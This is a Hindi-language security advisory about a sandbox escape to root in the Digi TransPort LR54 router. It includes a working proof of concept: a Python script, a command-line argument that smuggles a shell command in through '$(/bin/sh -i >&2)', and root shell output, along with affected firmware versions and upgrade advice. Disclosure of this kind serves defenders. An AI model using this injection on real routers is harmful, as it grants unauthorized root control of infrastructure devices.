
Digi TransPort LR54 एक हाई-स्पीड LTE राउटर है जिसका उपयोग आमतौर पर उद्योग, अवसंरचना, खुदरा और सार्वजनिक परिवहन में किया जाता है।
यह एक प्रतिबंधित सैंडबॉक्स में पायथन स्क्रिप्ट चलाने का समर्थन करता है, और SSH पर सुलभ एक कस्टम शेल है जो समान प्रतिबंधों के अधीन है। अंतर्निहित OS इसलिए प्रशासक के लिए दुर्गम है।
मैंने सैंडबॉक्स से बाहर निकलने और रूट शेल प्राप्त करने का एक तरीका खोजा है, जो पायथन स्क्रिप्ट निष्पादित करते समय cli द्वारा कमांड लाइन आर्गुमेंट्स को संभालने के तरीके का शोषण करता है:
जब एक इंटरैक्टिव पायथन प्रक्रिया SIGINT (CTRL-C के माध्यम से) प्राप्त करती है, तो स्क्रिप्ट के आर्गुमेंट्स को इंटरैक्टिव CLI के त्रुटि लॉगिंग हैंडलर में पास करते समय ठीक से एस्केप नहीं किया जाता है। यह एक हमलावर को रूट के रूप में मनमाने कमांड निष्पादित करने की अनुमति देता है।
इस भेद्यता का शोषण करने के लिए, एक हमलावर के पास 'सुपर' विशेषाधिकारों के साथ इंटरैक्टिव CLI पहुँच होनी चाहिए। इस एक्सेस स्तर वाला उपयोगकर्ता डिवाइस पर डिफ़ॉल्ट रूप से सक्षम होता है।
Digi Transport LR54 (और संभवतः संबंधित उत्पाद जैसे WR64 और WR54)
फर्मवेयर संस्करण : 4.4.0.26 10/29/2018 21:14:06 फर्मवेयर संस्करण : 4.3.2.24 09/06/2018 00:58:34
और शायद पुराने संस्करण भी
उपयोगकर्ताओं को फर्मवेयर संस्करण 4.5.1.4 या उससे नए संस्करण में अपग्रेड करना चाहिए। डिवाइस पर संग्रहीत रहस्य, जैसे निजी कुंजियाँ और पासफ्रेज़, सावधानी के रूप में बदल दिए जाने चाहिए।
sleep.py को scp या sftp का उपयोग करके LR54 पर अपलोड करें, जिसमें निम्नलिखित हो:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
प्रोग्राम शुरू होने के तुरंत बाद CTRL-C दबाएँ
फिर आप एक इंटरैक्टिव रूट शेल में पहुँच जाते हैं
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
भेद्यता की खोज Stig Palmquist ने की।
इस रिपोर्ट की समीक्षा के लिए @duniel_pls और @alexanderkjall को धन्यवाद।